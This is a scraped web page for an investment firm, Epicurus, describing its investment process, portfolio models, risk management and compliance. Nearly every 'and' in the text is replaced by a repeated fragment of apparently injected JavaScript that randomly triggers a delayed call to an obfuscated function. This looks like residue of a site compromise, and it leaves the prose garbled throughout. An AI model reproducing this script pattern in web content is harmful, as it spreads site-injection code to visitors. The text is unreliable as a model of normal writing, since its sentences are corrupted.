Asset Management

  1. Asset Management

Investment Advisor Process

Our investment adviser process starts with a top-down analysis of international markets andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their correlation with respect to Mexico to be able to construct a guide into the future price action of Mexican investment assets. Then a specific bottom-up analysis is performed to provide a better guide into the decision making of a specific investment.

Fundamental analysis is used to define the path of world macro variables to delimit the long term trend of different asset classes in Mexico. We use fundamental analysis to assess the financial strength andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and growth opportunities of strategic sectors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and companies in which the funds may invest in through financial statement analysis andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sector growth prospects.

Quantitative analysis is used to recognize relative value among the universe of assets in which our portfolios are invested andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to manage the intrinsic risks of every investment.

Finally, technical analysis is used to assess the market momentum andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and best entry-points in order to optimize risk-adjusted returns.

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Portfolio Optimization

The portfolio optimization process consists of a methodology to select the best instruments with the goal of creating a well balanced portfolio.

Epicurus methodology optimized with proprietary quantitative analytics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and research

  1. Macroeconomic andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Financial analysis
  2. Securities selection strategy
  • Local Yield analysis
  • Private andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Cuasi-government securities analysis
  • FX analysis
  • Securities correlation analysis
  • Risk analysis
  1. Securities selection models
  • Markowitz
  • Black-Litterman
  • Duration-targeting
  1. Benchmarking
  2. Investment Plan evaluation by Investment andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Risk Committees

Risk Management

As we are always seeking the best risk-adjusted returns for our clients, the risk management department plays a fundamental role in the structure of Epicurus. This department is responsible for the management of all different types of risks which the portfolios are exposed to, as well as to monitor that operations adhere to the investment regime, policies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and established procedures.

This department is in charge of identifying, measuring andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and monitoring risk through different models, techniques andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tools. It is also in charge of developing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and distributing a full set of reports that are reviewed on a daily or monthly basis as is required andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and regulating trader’s risk limits.

To measure market, credit andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and liquidity risk, we use a range of more than 20 different models applied andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and analyzed on a daily basis on each of our portfolios. We real-time monitor our traders’ limits to ensure a confident andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and error free operation that is well between the risk parameters imposed by authorities or by our clients.

As a result of the success in internal risk control, the department has offered risk platforms andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and solutions to institutional clients, investment areas of insurance companies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and investment management firms.

At working with outside firms, the risk department has successfully offered daily andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and monthly tailor made reports; automated andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and integrated risk platforms; andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and planned andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and implemented complete risk areas.
 

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Compliance Procedures

Compliance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ethics has been the key pillars of Epicurus since inception. Our Compliance Manual was developed according to the investment Advisers Act of 1940.

To ensure the protection of the clients information andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to warrantee the continuous operation of the fund Epicurus has implemented word class technology into its infrastructure including

  • Front Office System with Pre Trade Compliance
  • Secure Data Centers with high redundancy
  • Disaster Recovery andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Business Continuity plans

Our Companies

Our Approach